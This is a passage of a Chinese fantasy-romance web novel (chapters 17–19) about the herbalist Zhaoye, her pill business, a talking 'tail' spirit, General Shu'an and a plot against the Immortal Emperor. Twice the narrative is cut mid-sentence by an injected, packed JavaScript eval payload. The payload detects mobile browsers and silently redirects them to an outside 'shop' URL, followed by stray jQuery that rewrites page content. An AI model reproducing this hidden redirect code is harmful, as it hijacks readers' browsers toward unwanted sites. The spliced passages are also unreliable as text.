“照夜,你可还记得?”穆青转向我,声音低沉,“我们初次参加试仙大考时,主考官正是振岳仙人。” 记忆回到了遥远的过去。 那一年穆青二十一岁,而我十六岁,那个秋天我们刚刚尝过了亲亲的滋味,冬天便一起去参加了试仙考试。 想要成为仙人的第一步并非修炼仙能,而是——文化课考试。 没错,不会写字不爱读书的白丁永远不可能成为仙人。考卷上除却仙力、仙能、仙史诸题,还需作一篇阐述修仙之志的文章。 我当年写的是但求逍遥自在、无拘无束,那本就是我修仙的初衷;而穆青则认为修仙是为守护珍视之物、探寻世间真理。 结果我俩名次惨淡——自然,我略胜他一筹,他垫底,我倒数第三。 至于那屈居倒数第二的,是个我已记不清面容的少年,只知他修仙的宏愿,是“创造新世界”。 “那个与我们搭话的少年不是别人,正是苍珠煌木。他闲得无聊特来试试那一年的试仙考试。” “什么?!那个倒数第二……是仙帝?” 我惊得瞠目结舌,任凭如何努力回想,也拼凑不出那少年的容貌,只记得他得知名次后一脸不可置信,见我与穆青对着成绩笑作一团,便凑上来与我们交换试卷,于是我们拜读了对方的大作。 三界沉疴万载,灵机污溃,道基倾颓。吾非求己身超脱,乃欲举目皆朽为薪,燃尽积弊,焚身劫灰之上,重开天地清明! 语句从穆青的口中缓缓吐露,他长叹一口气,看上去有些难过,“仙帝志存高远,可惜……壮志未酬,竟遭奸人毒手。” 我心头剧震。原以为那段记忆平淡无奇,此刻才惊觉,我竟与穆青一样,将这篇字字千钧的文章深埋心底。 “青莲,别急着哀伤,咱们得为仙帝报仇。”振岳仙人抹着眼泪,用力捏了捏穆青的肩,愤然道,“你且等我消息,我还要去找几个帮手,等登帝大典时打他个措手不及!” 我闻言登时哑然失色,杀死仙帝的人是渊寂? 隔离屏已经在碎裂,只见黑暗中竟赫然显现出一只瞪圆的眼睛,就那么直勾勾盯着穆青。 振岳仙人拂袖道,“百目仙人真是辛苦了,我等叙旧说会儿子悄悄话而已,怎得紧追不舍,未免有些惹人讨厌了。” 我是第一次见到百目仙人的法眼,这硕大的眼睛像一盏灯似的四处观察,冷不丁间竟突然开口说话了,“心中无鬼,又何必树几个假人蒙骗我。” 只见振岳一个箭步上前,挥拳直击那只巨眼,洪亮的笑声在斗室中回荡,“哈哈哈,无他,老子讨厌你,仅此而已。” 眼睛即刻消散于无形,我搓搓满胳膊的鸡皮疙瘩,“她怎么到处偷窥,略有些变态了。” 穆青摸摸我的后脑勺,低声道,“她是在监视我,别理她,只是一个六百岁的臭老太婆。” “老夫先走了,对了。”振岳挠挠头,有些不好意思地说道,“我那小孙子舒岸是个死脑筋和他哥哥杠上了,你们好像关系不错,帮个忙劝劝他,婆娘能生娃不就得了,哪儿有那么多两心相悦知心着意。” 17. 第17章 有女尾巴吗? 穆青手搭在我肩上,我们一同目送振岳的身影消失在夜色深处。 半晌,他低声悠悠道,“幸好我的照夜与我弦歌知雅意,灵犀一点通。这天下人海茫茫,可我心中慊慊,只为一人。若不是你,谁都不行。” 不知为何,我心中莫名烦躁,忧思翻涌,转身握住穆青的胳膊,“现在哪是风花雪月的时候?你们谋划的事情太危险了。渊寂仙法高深莫测,你们根本不是他的对手。况且,如果我没记错,仙帝遇害之时,渊寂人应在映山都才对。” 穆青轻轻抚摸我的脸颊,一个温柔的吻落在我的额头,“别担心,照夜。这些事交给我来处理便好。” 稀里糊涂赤身交流了一番,我好像又没那么担忧了。 目送穆青和振岳乘着飞兽远去,我心里空落落的。舒岸见我脸色不豫,提议我同去修炼,我却提不起丝毫兴致,恹恹地拒绝了。 前几日偷懒未曾开张,今日我将招牌摆了出去,一边哼哧哼哧地捣着草药,一边等待客人上门。 卖香菇包子的东婶闲来无事,坐在我铺子前拉起家常。自上次我送她一颗白肤美体丹后,她容光焕发,面色红润,与丈夫之间竟似重燃爱火,颇有第二春的势头。她对着我好一番夸赞,我便又赠了她一颗。 正闲聊间,街口忽然陆陆续涌来好几拨女客,指名要买美体丹。一向冷清的铺面瞬间被围得水泄不通,我一时手忙脚乱,赶紧起身招呼。 囤积的百来颗丹药,竟在一个上午销售一空。我大喜过望,不由自主来了积极性,赶紧把草药搬出来该浸泡的浸泡,该揉捻的揉捻,忙得不亦乐乎。 “掌柜的,有人没?” 我正背着身在院子里漂洗药材,头也不回地应道,“不好意思,今日打烊了。” 来人轻咳两声,语气带着几分拿腔拿调,“太师千金驾到,还不速速迎接。” 我直起腰,探头望去,只见一顶华丽轿辇停在不甚宽敞的巷道上,十余名仆从将看热闹的街坊拦在外围。 说话的是个干瘦男子,两撇胡子滑稽地贴在唇上,嘴角下弯,带着一丝显而易见的蔑笑。 敏锐地嗅到大生意的气息,我立刻堆起热情的笑容迎上前,“原来是施小姐光临寒舍,真是蓬荜生辉,快请进,请进!” 好在穆青有重度洁癖,平日里会把屋里屋外收拾得一尘不染,院子里乱了些,但很干净。 一位姿容绝世的女子缓步走入内堂,她眉如远黛,微微蹙起,身姿婀娜雅致,行动间娉婷灵动。一袭浅碧色流苏长裙与发髻间斜插的碧玉金钗相得益彰,更衬得她气质出尘。 “施小姐,请用茶。” 施斓从我手中接过木制茶盅,目光在我身上流转一番,朱唇轻启,“听闻你此处所售仙丹,有白肤美体之奇效,只一颗便能令人肌肤胜雪,纤腰如柳。可是当真?” 我心中一愣,怎么突然有了这种传言,未免夸大其词了。 “回施小姐的话,”我恭敬答道,“这白肤美体丹,其实更重在调理肌体,使其回归健康丰盈的状态。寻常女子为求纤瘦,往往束腰节食,日久反而面黄肌瘦,损了根基。我家丹药正是为了改善此等状况。当然,其中加入了积雪草等物,确有润泽肌肤之效。” 施斓端坐椅上,嘴角牵起一丝若有似无的笑意,“你倒还算诚实,比那些巧舌如簧的奸商强上许多。” “您放心,这丹药的配方独一无二,包您吃了一颗就想第二颗。” “那便送五颗我试试。” 那两撇小胡子的管事立即奉上五百利衡币作为定金,并叮嘱我明日一早务必把丹药送到府上。我满脸堆笑地将这行人送走,正要转身回去赶工,却瞥见朝明鬼鬼祟祟地躲在街对面朝我张望。 “照夜姐姐,嘿嘿,生意兴隆呀!” 我狐疑地打量着这个机灵的小个子,“那是自然,我这个人运气向来不错,便是坐在家里,福气也会自己找上门来。” 朝明跟在我身后进屋,自觉地帮我收拾起药材,“姐姐有所不知,三日后君上要为大将军举办相亲会,届时京中有头有脸的贵族小姐都会到场。为了博得大将军青睐,她们自然要精心打扮一番。” 我恍然大悟,笑道,“原来如此,那还真得谢谢大将军给我这个赚钱的机会。” 朝明尴尬地挠头一笑,“其实……是大将军特意吩咐我,要好好替咱们的仙丹宣传宣传。” “啊?!我说呢,今天突然来了这么多客人。”我听闻有些无语,偏偏趁穆青出去办事来这么一出,我一个人又没有八只手。 正发愁间,我低头瞥见在瓶子里懒洋洋晃动的尾巴,猛地一拍脑门,我怎么把这个家伙给搞忘了。 将尾巴倒在地上,我指挥他去生火。 这团小东西慢吞吞地蠕动着,一副不情愿的模样。我轻轻踢了他一脚,没成想他竟颤抖着发出一声舒爽的叹息,顿时来了精神,麻利地干起活来。 我悠闲地翘着二郎腿坐在摇椅上,一边剥葡萄,一边看着朝明和尾巴忙活。 “朝明,大将军为何一直不肯成亲?这么多年,那么多美人,总不能一个都看不上吧?” “唉,别提了。”朝明叹了口气,“二十年前宫里发生变故,皇后娘娘为保护年幼的大将军,被叛军一箭穿心……自那以后,大将军便一心扑在武艺上,再没动过别的心思。后来又常年征战,终身大事就这么耽搁了。” 守在炉边的尾巴忽然阴阳怪气地插话,“怎么可能?他分明是自幼暗恋自己的嫂子,想找个相似的女子罢了。” “闭嘴,别瞎说!” “嗯?姐姐,我没瞎说啊。”朝明一脸茫然地看着我,“我从小跟着大将军长大,真没胡说。” 我顿时愣住——朝明竟然听不到尾巴说话? “哈哈哈,大笨蛋!”尾巴得意地扭动着,“仙丹怎么会说话?照夜是大笨蛋——大笨蛋!” 他手舞足蹈的样子像是在做鬼脸。我竟从这一团没有五官的胶质物上,清晰地感受到了只有人才会有的调皮与狡黠。 真是稀奇,我明明听到尾巴在讲话,为何旁人却听不到。 以免被朝明误以为脑子有病,我只是踩了一脚尾巴以报复他的嘲笑,没再多说什么。 一直忙到深夜,总算制好了施小姐订下的五颗美体丹。朝明累得东倒西歪,但得了舒岸的命令,明日还得来帮我打下手。 我胡乱洗漱后瘫倒在床,指挥尾巴给我揉揉酸痛的臂膀。那柔软温暖的胶质竟真幻化出指节般的形态,自肩头一路揉按至腰际,力道恰到好处。 “你问我为什么别人听不到我说话?” “为什么只有我能听得到。” 尾巴贴着我耳畔,气息般低语,“没有缘由。因我是你的尾巴,自然只与你心意相通。” “你究竟是什么存在?岁兽妖的仙丹怎会生出意识,还能言语?”我追问道。 轻盈的仙力如薄雾在我周身聚散流转,时而渗入肌肤,时而氤氲而出,宛若温热的蜜糖将我包裹。 “……尾巴就是尾巴,得了便宜就别纠结这么多了,不得不说你这个丫头运气真好。” “你说仙帝真是渊寂杀死的么。” 尾巴轻轻盘绕于我身,纵然酷暑炎炎,却未觉半分炙热,“你算问对人了,哦,不,问对了尾巴。仙帝的确丧命于渊寂之手,在魔界时,那家伙不是已经直言不讳承认了么?他蓄意行刺仙帝,所言非虚。” “天,还真是,然后呢?!” 由仙力凝聚成的尾巴竟然灵活如指头一般扒拉我的眼皮,好似在催我睡觉,连带着声音都低沉而平缓,“仙帝早就知道他图谋不轨,早早把自己分成了五份,其中一份,也就是那高高在上不轻易在众人面前露面的那一份——被杀死了。” 我无法断定尾巴所言真假——这事实在太过骇人听闻,可信度微乎其微。况且他区区一条尾巴,又如何知晓这等秘辛? 翌日前往太师府送药途中,我一路沉思,直至随管事踏入府邸。 说实在的,什么雕梁画栋、曲径通幽的景致我已见惯,反倒觉得青莲山的清雅野趣更胜一筹。 侍女正跪地为施斓整理裙裾,另有小丫鬟捧着香茶侍立一旁。这位确是金尊玉贵的豪门千金,论身份与舒岸大将军堪称良配。只可惜……舒岸偏钟情成熟年长的女子。 “日服一颗,后日纳凉会前可见功效?”施斓漫不经心地问。 我弯着腰拱手回话,企图留住这个出手阔绰的大客户,“小姐天生丽质,便连仙界第一美人素雪仙人在您面前亦要黯然失色。此丹不过锦上添花,后日您定能艳压群芳,令舒岸将军倾心。” 施斓以袖掩唇,轻笑出声,“嘴倒甜。罢了,若丹药确有奇效,本小姐自有重赏。” 离开太师府,我马不停蹄地去找舒岸,恰好在月下街口遇见了正要来寻我的朝明。于是我们一同赶往东郊,去见那位沉迷修炼的大将军。 溪流边,十几名亲兵屏息凝神,注视着正全神贯注试图用仙力操控鹅卵石的舒岸。 我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549483|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悄悄跳上前,用力一拍他的肩膀——只听“啪嗒”一声,拇指大的石子应声落地,周围顿时响起一片惋惜的叹息。 “照夜?你怎么来了?”舒岸回过神,有些惊讶。 “来看看你修炼得如何。”我捡起那颗鹅卵石在手中掂量,“若是将所有心神都用在凝炼仙力上,万一此时有人从背后偷袭,你岂不是要一命呜呼?” 舒岸披上外衣,有些丧气地笑了笑,随我沿河岸漫步,“你说得对。我虽已能感知仙力的流动,却不知下一步该如何。青莲说要令仙力与自身融合,方能驾驭自如……可我始终不得要领。哎,或许是我资质愚钝。” “哈哈,别灰心。小青当年初学仙术时,也曾为此困惑不已。”我宽慰道,“转机发生在一个傍晚——” 那年穆青十六岁。尽管阿爹再三叮嘱不要带我去池塘玩水,但贪玩的我们早已将嘱咐抛之脑后。 见塘中金莲开得正好,我伸手去摘,却一个不慎,“咕咚”一声栽进水里。穆青情急之下,竟下意识凝炼出一片莲花花瓣将我托起——就在那一瞬间,他豁然开朗,自此对仙力的掌控一日千里。 “我好像……有点明白你的意思了。”舒岸若有所思。 “对了,有件事要求你帮忙。”我话锋一转,“后日的纳凉相亲会,你能不能多关注一下施斓小姐?她服了我们的美体丹,必定与众不同。” 舒岸先是一愣,随即抚掌大笑,“小事一桩,我知道该怎么做了。定叫你的仙丹名动月下州。” “不瞒你说,我正悄悄攒钱,想和小青换一处大些的宅子,挖个池塘种些青荷。夏天坐在家中便可赏荷,岂不惬意?” 舒岸笑道,“其实我一直想好好谢谢你们二位。只是青莲已是仙人,超然物外;照夜你又素朴淡泊,想送些什么,又怕俗物玷污了这份情谊。哎,我这人总是瞻前顾后……不如,我赠你们一处宅邸如何?” “使不得,使不得!”我连忙摆手,心中虽觉惋惜,却坚定拒绝,“并非不领情。只是我与小青自踏上仙途之初便约定,纵然未来万物唾手可得,也要脚踏实地,认真感受人生。如此,才不会失了为人的本心,才能始终保有对生的热忱、对死的敬畏,做一个有血有肉、有情有感的人。” 舒岸略感惊愕,随即释然,长叹一声从我手中接过那颗普通的鹅卵石,轻轻摩挲着,言语间带着一丝遗憾与羡慕,“天地逆旅,光阴过客。若得同心之人携手同行,纵使化作尘埃,亦无遗憾。只是……我的那颗‘同心石’,又在何方呢?” “哎呀,人生还长,别慌嘛。我觉得振岳爷爷说得也有道理,你老大不小该成亲生娃了,万一等不到你的同心石,难不成要等到白头么,魔族在这方便可通透多了,管他三七二十一先生了再说。” 舒岸脸上的阴霾一扫而空,被我的话逗得开怀大笑。他用力拍拍我的肩膀,“多谢宽慰。若有可能,还望照夜多多指点,免得我独自在此修炼,既孤独,又寂寞。” 这倒无所谓,反正我在哪儿都能躺。指挥朝明去把炼丹用的东西通通搬来,又叫那些没什么事儿干的将士们给我干活,我只要躺在树下睡大觉就好了。 尾巴从瓶子里溜出来,顺着我的袖筒钻出领子,贴在我肩膀上小声说,“他喜欢你,但肯定不会撬青莲的墙角。” “你是不是有病,我又不是什么稀世大宝贝谁都喜欢,怎么,我长得很漂亮吗?” 一阵令人尴尬的沉默后,尾巴回答道,“还行吧,普普通通的漂亮,不难看,但也没那么惊艳,乍看一般,但认真观察这张脸还是可圈可点。” “去去去,我对你的评价不感兴趣。管他那么多,只要小青喜欢我就行。” “小青小青小青,真是腻死人了。成天黏在一起还不够,梦里也总是他。” “话说尾巴,你这样的生物有女性吗?你会有爱这种情感吗?” 沉默震耳欲聋,尾巴不再搭理我,甚至有些气冲冲躲回了青莲瓶子中缩成小小的一团。 我可没功夫理会尾巴,还有上百颗仙丹等着我制作。 说起来这丹药名义上叫仙丹,实则和仙这个字眼没有任何关系了,还真有些挂羊头卖狗肉之嫌疑。 时间来到相亲大会这天傍晚,我又迎接了一大批订购仙丹的客户,直笑得合不拢嘴,看来舒岸很讲义气。 朝明这几天捣药捣到麻木,他打着哈欠告诉我舒岸今天不止主动与施斓交谈了很久,还向其他小姐们强烈推荐了我的白肤美体丹,我又问朝明大将军是不是要成亲了。 18. 第18章 再遇不愁行 说到这里,朝明面露忧色。 不止舒岸,军中许多将士也都挂心着玉山的战事。好在无相孽近来销声匿迹,退守到了更远的地方。只是这看似好转的征兆,背后预示的却未必是什么好消息。 不知怎的,一件几乎被丢进记忆角落的旧事,忽然在此刻浮上心头。 时间倒回我和钩星初遇那会儿——当时他和谷阿翁来青莲山,是为了什么来着? 是普查人口。可舒仲为何突然要普查人口?又为何连仙界也一并纳入了调查? 此时的我尚且不知,这件无人留意的小事,竟将决定三界未来的存亡。 眼下我满脑子只有炼丹赚钱,不得不说,赚钱这事儿真的会上瘾。看着小金库又渐渐鼓胀起来,我连做梦都能笑出声。 穆青外出办事的第十二天,我实在忙得转不开身,只好去找舒岸讨几个可靠的帮手。 他倒是爽快,我要什么就给什么。不过他的修行进展依旧不大,离那个所谓的“开悟”临界点,还是遥不可及。 趁朝明带着人在我家里忙前忙后地炼丹、招呼客人,我溜出门闲逛。 月下州最大的酒馆“沧栗楼”,曾是我的老东家,只是时光流转,物是人非,店里的小二大多已是生面孔。 我点了沧栗楼最负盛名的醋溜冬芝,又要了杯石榴酒,美滋滋地坐在矮桌前听说书。 今天讲的是三千年前第一位仙人诞生的老故事。 这传说家喻户晓,连七岁小孩都能说上几句。仙人并非天地初开时就存在,世人称第一位为“太初僊”,是他最先开启灵关窍,发现并凝炼使用仙力。在他启发下,越来越多的仙人出现,而另一支对仙力有不同见解的人,则成了最初的魔族。至此,三界格局初定。 不过如今的三界,倒不严格按人、仙、魔的身份划分。 凡人可入仙籍成为仙民,就像此刻正为我斟酒的小二——明明是个魔族少女,头上两支小角清晰可见,却入了人籍,生活在人界。 她怯生生地向我推荐人气点心桂花卷,那模样让我想起从前的自己,于是我心一软,点了一份现吃,又打包两份。看她高兴得一蹦一跳跑开,我心里泛起一阵酸涩。 当年为了攒钱参加仙试,我和穆青也过过这样小心翼翼的日子。 酒足饭饱,我打算去看看舒岸,结果结账时直接傻了眼。 面前这张纯真无害的小脸,是怎么吐出如此冰冷的数字的——一千利衡币?!我再定睛一看,好家伙,一份桂花卷三百?三份九百,还另收一百服务费?? “这什么桂花?沧栗楼什么时候成黑店了?!” “这位客人,明码标价哦~”小丫头居然唰地摊开菜单,粉扑扑的圆脸上挂满天真无邪的笑,“白纸黑字,一份三百,一分不多,一分不少。” 我后槽牙都快咬碎了,正想找掌柜理论,一个耳熟的声音就飘了过来。 一个胖墩墩的少年晃到我面前,热情地招手,“这位衣着普通却气质不凡的姐姐,真巧呀,又见面啦!” “饭饱饱?” 我一愣,再仔细看那魔族丫头,越看越眼熟——这分明是不愁行的飞高高嘛!她怎么扮成魔族小二了? 还没反应过来,肩膀就被人从后面按住。女子凑到我耳边,笑嘻嘻地说,“嘿嘿,不愁行的大贵人,可算找到你啦!” 没曾想,我竟又撞上了不愁行这三个小骗子。 往事涌上心头,一想到他们躺赢的本事比我还炉火纯青,我就气不打一处来。 “哎呀,别瞪我们嘛,就开个小玩笑!”衣多多笑嘻嘻地转到我面前坐下,见我那份桂花卷只动了一个,毫不客气地将剩下的七八个和同伙瓜分了个干净,“这顿我们请,不用客气!托您的福,我们可是赚了一大笔呢。” “你们那点事,舒岸将军都跟我说了。”我没好气地哼了一声,“老实交代,那批仙丹在魔界骗了多少钱?” 饭饱饱这段日子明显又胖了一圈,可见赚得是真不少。他伸出胖乎乎的手指比划了一个数,差点没让我当场冒烟。 “四十万利衡币?!一万颗静心养胃丹,你们卖了四十万?” 飞高高托着下巴,脑袋摇得像拨浪鼓,得意洋洋地炫耀,“魔皇殿下何止是英俊神武,更是豪气冲天!不问价、不砍价,简直是梦想中的大客户,手一挥就全包圆啦!” 钩星这家伙,原来这么有钱!看来当初他和谷阿翁合计那个倒卖丹药的歪主意,根本不是为了赚钱。 这一老一小两个“骗子”,纯粹是为了把我从青莲山里骗出来才设的局。 可这是为什么呢?为何要处心积虑把我骗出家门? 总不至于真怕我这个“山里蹲”再不出门,会长毛发霉变成呆子吧? 等等……天啊,谷阿翁居然没说谎!他记得我抱怨自己年纪大了还没着落,又正好想给徒弟钩星找个伴儿……他把我骗出去,居然是为了和钩星相亲?! 还真是个……实诚的骗子。 不得不说,我照夜上过的当,真是一个接一个,花样百出。 “相识一场,还没请教姐姐尊姓大名呢?” “照夜。” 饭饱饱一听,顿时惊呼,“天呐!这真是旷古烁今的好名字!北斗第四星,天权是也!太初僊曾赐玉名‘照夜’——谓其星芒如银练垂野,夜行百里不举烛,就如照夜姐姐您是咱们不愁行的大福星一样,嘿嘿。” 结完账,三人领着我七拐八绕,来到一家小铺子前。 招牌上依旧挂着那歪歪扭扭的“不愁行”三个大字。他们热情地把我请进屋,飞高高端来一杯茶——这熟悉的流程,熟悉的味道,我仔细一品,还真和舒岸府上的玉露茶一个味儿。 “不会又是一万一杯吧?” “哪能呀!”衣多多和另外两人并排坐到我面前,笑得见牙不见眼,“免费喝!管够!” “有什么事直说吧,我最近是真忙。” “知道,知道!您正忙着一桩大买卖呢!”饭饱饱迫不及待地向前倾身,肚子上那圈肉被紧巴巴的衣服勒着,扣子眼看就要崩开,“听说最近有家小店的白肤美体丹卖得特别火,我们打听了一圈,才发现竟是照夜姐姐的手笔!这不,想着咱们上一回合作那么愉快,就想着——再续前缘!” “对对对!再续前缘!”衣多多和飞高高忙不迭地附和。 看得出来,这胖小子饭饱饱,无论是口才、情商还是见识,都比两个丫头高出一截,俨然是不愁行的主心骨。 我不由得肃然起敬,重新端详起这张圆得像张大炊饼的脸——大眼睛,秀气挺翘的鼻子,胖乎乎的模样,倒有几分憨态可掬。 还没等我接话,饭饱饱已经单方面激情澎湃地阐述起了他的宏图大计—— 第一步,把仙丹的知名度彻底打响!第二步,火速扩大生产,全力供货!第三步,紧跟潮流,研发更多新品!第四步,那就是——持续做大做强,共创辉煌! “不过经过这些天观察,我们发现姐姐你的产品虽好,却有个致命缺点。”飞高高摸着自己头上的角,一脸严肃,“那就是没名字!既不容易被人记住——还容易被假冒!” “既然姐姐是青莲仙人的狂热崇拜者,不如就用‘青莲’命名如何?”衣多多歪着头提议,随即又迟疑道,“不过话说回来,青莲仙人如今排名一落千丈,成了散仙……你还打算继续为他打榜吗?这成本可不小啊。” “暂时不了,先攒点钱吧。”我摆摆手,“我想和小青换个大点的房子,月下州寸土寸金,没钱真是寸步难行。” 一听这话,三个人齐刷刷凑近,眼睛瞪得溜圆,“你和青莲仙人在一起了?!” “对啊。”我故意拉长语调,“我们已经这样那样了。” 衣多多震惊得语无伦次,像是受到了巨大打击,“天啊……原来执着真的能感动仙人,追仙也会有结果吗……” 飞高高在一旁笑嘻嘻地解释,“多多姐姐可是飞逍仙人的头号崇拜者,这些年不知为他花了多少钱,却连一句话都没说上呢。” “那种不讲义气的男人有什么好喜欢的!”饭饱胖不满地撇嘴,眼中尽是不屑,“萤火仙人对他恩重如山,他倒好,转头就拜在了渊寂门下——” 衣多多脸色一变,急忙捂住小胖子的嘴,紧张地四下张望后压低声音,“别乱说话!他马上就要继任仙帝了……” 飞高高缩了缩肩膀,面露惧色,“他的气息……让人害怕。” “你见过他?”我挪到飞高高身边,好奇道,“话说你怎么突然变了模样?” “总不能以这副面容混进灵璧城。”衣多多叹口气说道,“我们仨走南闯北还是有些人脉的,伪装什么的都是家常便饭。” “诶呀不说这些了!”饭饱胖适时转移话题,又眉飞色舞地讲起了他的宏图大业。至于他们为何认识渊寂这件事,就这么被轻巧地带了过去。 被三个家伙你一言我一语围攻到傍晚,我头晕眼花地从不愁行逃离。回到家,我把打包的桂花卷往桌上一放,就瘫在摇椅里一动不想动。 朝明拎起食盒,有些惊讶,“姐姐怎么知道大将军爱吃沧栗楼的桂花卷?” “啊?他喜欢就送他吧,我没什么胃口。” “那……我们一起去看看大将军?” “累,不想动。” “你不想看看大将军操纵仙力有没有进步吗?” 我思考了一下,还真有点好奇,于是跟着朝明去郊外找舒岸。到那儿时,正见一个内侍官模样的人在向他禀报什么。见我们来了,舒岸三言两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549484|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语打发了对方。 “照夜,坐,有烤鱼吃。” 我婉言谢绝——自从体内仙力充盈后,除了和穆青亲热后会有点食欲,多数时候只觉得饱胀。 想到这里,我下意识拍了拍青莲瓶,好似将那沉睡的尾巴惊醒了。这些天他似乎在生闷气,不愿主动现身,又像在等着我去哄他似的。 “大将军,照夜姐姐可是特地去排队买的桂花卷,您可要多吃两块!”朝明冲我眨眨眼,乐呵呵地离开了篝火旁。 舒岸轻笑一声,见我面露尴尬,温声道,“别在意,朝明从小跟着我,总爱操心些有的没的。” “你该不会……真的有点喜欢我吧?”我半开玩笑地问。 “……”舒岸垂下眼帘,沉默良久,气氛几乎要凝固。就在我快要窒息时,他突然抬眼看向我,“照夜,我们以前是不是见过?” “没有,真没有。”我连忙否认。 “你长得很像先皇后——也就是我的嫂嫂。” 尾巴突然一震,窜到我耳边,捏着嗓子窃笑,“经典桥段来了!‘犹见故人面,不敢叩门环’——还是我的直觉比较准哦。” “初见面时只有一分像,可现在……你越来越像她了。”舒岸的声音里带着几分恍惚。 我赶紧摆手解释,“我和小青从小形影不离地长大,真的不是我!大概是你太思念她了吧……” 尾巴暖昧地揉着我的耳垂,低声八卦,“他母亲早逝,嫂嫂就像母亲又像姐姐般照顾他长大。所以他对嫂嫂怀着复杂又隐秘的感情呢~啧啧,小屁孩爱上成熟女性,还是自己的嫂子!嘿嘿,有意思!” 我一把将尾巴塞回瓶子里,擦了擦额角的汗,“况且她是为了救你而死的,很明显不可能是我啊。” 舒岸猛地一怔,捏着桂花卷的手僵在半空,眼中涌出无尽的哀伤。 时间仿佛停滞了片刻,又仿佛只是一瞬,他忽然回过神,大大地咬了一口桂花卷,笑道,“最近静坐久了,总爱胡思乱想。看来修行之路道阻且长,心念不净,又如何能感知仙力、凝炼运用?原来我从根上就错了……多谢你的桂花卷,我继续练功了!” 说罢,他三两口吃完,纵身跃上高处,对着明月静坐。那宽阔坚实的背影宛如一堵城墙,内里却藏着一个始终未能摆脱过往的少年。 “怎么,不生闷气了?” 尾巴趴在我头上,竟然笑了一声,“你也不哄哄我,没良心。” “好啦好啦,小青不在家,连个说话的人都没有,怪无聊的。” 尾巴轻轻落在我掌心,光芒流转如银河倾泻,仿佛正凝视着我的眼睛,“那你得保证,永远不再问那个问题。” “啊?什么问题?” “不准再问我有没有‘爱’这种情感!” 我对着他翻了个白眼,任由他缠上我的指尖,“无聊,我才不关心你会不会爱上一条女尾巴呢……不过你这模样,倒有点像小狗。” 尾巴愤怒地举起两团圆滚滚的光球以示抗议,“我才不是狗!再这样我们就继续冷战!” “好好好,我错了。你是高贵的尾巴大人,小猫小狗哪儿配跟你比呀。” 一句话就被哄好的尾巴立刻又亲昵地在我身上蹭来蹭去。 朝明听不见尾巴说话,在他眼里,我总对着一团仙力自言自语,有点担忧我的精神状况,直说要送我回家睡觉。 至于不愁行,单方面就认定我们达成了“赚大钱同盟”,风风火火地干了起来。 核心智囊饭饱饱率先出手,他的推广计划简单粗暴——雇佣沿街叫卖的摊贩、来往的轿夫、茶楼的小二、各府的门丁,见人就夸“青莲美体丹”的神奇功效。 就在我担心产量跟不上时,衣多多展现了她的过人手腕,她居然说服了城里好几家丹药作坊合作,谈好分成,允许他们使用“青莲丹”的名号和包装,一下子就把生产规模扩开了。 而那个带着魔族特征的小丫头飞高高,更是让人大开眼界。她似乎混了些妖兽血脉,跑起来快得像阵风,耐力还极好,专门负责全城送货。 三个人配合默契,连轴转个不停,倒真没我什么事儿了——于是,我意外地再次过上了“躺赢”的日子。 合作刚满七天,我就拿到了八万利衡币的分红。这数目简直让我目瞪口呆,若我早有这等生意头脑,又何苦当初一个子儿一个子儿地辛苦攒钱? 在饭饱饱一番“长远发展”、“品牌价值”的甜言蜜语攻势下,我爽快地把白肤美体丹的配方交给了他。倒不是我天真好骗,而是这配方对我来说,确实没那么重要。 只要小青在我身边,凭他对仙力的超凡感知,调配出功效更胜一筹的新丹药,简直易如反掌。 果然,掌握了真正的核心技术,走遍天下都心里不慌。 19. 第19章 照夜可往(阴谋) 就在我掰着手指头数小青还有几天回来的当口,一桩意想不到的事发生了。 夏末秋初,一场滂沱大雨带来了沁人的凉意。这天一大早,我正睡得昏天暗地,却被门口一阵嘈杂声吵醒。 揉着眼睛推门一看,竟是舒岸骑着高头大马,带着几个亲兵等在雨里。 “人君要见我?” “嗯,上来吧,照夜。”舒岸也不多客套,直接伸手将我拉上马背,一抖缰绳便朝着宫门方向驰去。雨丝迎面扑来,他侧头看了我一眼,忽然笑道,“你该不会是还没洗脸吧?” “事儿出突然,我美梦才做了一半呢。”我嘟囔着,顺手接了点儿雨水在脸上抹了抹,“凑合一下,别嫌弃。” 舒岸闻言大笑,“无妨!我哥哥为人随和,不拘这些小节,你不用担心失礼。” 清晨的皇宫在雨幕中显得格外寂静,除了巡逻侍卫整齐的脚步声,便只有雨打琉璃瓦的淅沥声。 踏入棠梨宫,一股混合着名贵沉香与雨天潮气的朦胧氛围扑面而来。鎏金兽炉中吐出的袅袅青烟,在湿润的空气里显得有些沉重。重重纱幔随风无声起伏,如同一道道柔软的屏障。 我低着头,紧跟舒岸,脚下光滑的金砖几乎映出人影。穿过一重又一重的纱幔,我们终于在內殿最深处停步。 只见一个身着常服的男子正背对我们,临窗而立,专注地逗弄着笼中一只羽毛灰暗的鸟儿,指尖轻点鸟笼,低声絮语。 他便是人君舒仲。虽年逾六十,容貌却因仙界的馈赠而停留在盛年。身为凡人君王,虽寿数不及真仙,却也远超寻常百姓。 我依礼参拜,舒仲却亲自伸手将我扶起,脸上是和煦如春风的笑容,“不必多礼。早就听闻你,今日才得见,果然……”他话语微顿,意味深长地端详着我。 我有些困惑地看向舒岸,他只是点点头道,“哥,确实像棠梨吧。” 舒仲又仔细看了我一眼,颔首道,“眉眼间,确有三分神似。” “何止三分,起码八分!”舒岸抢白。 舒仲瞥了弟弟一眼,神色间略带无奈,转而继续去逗那只符光鹊。 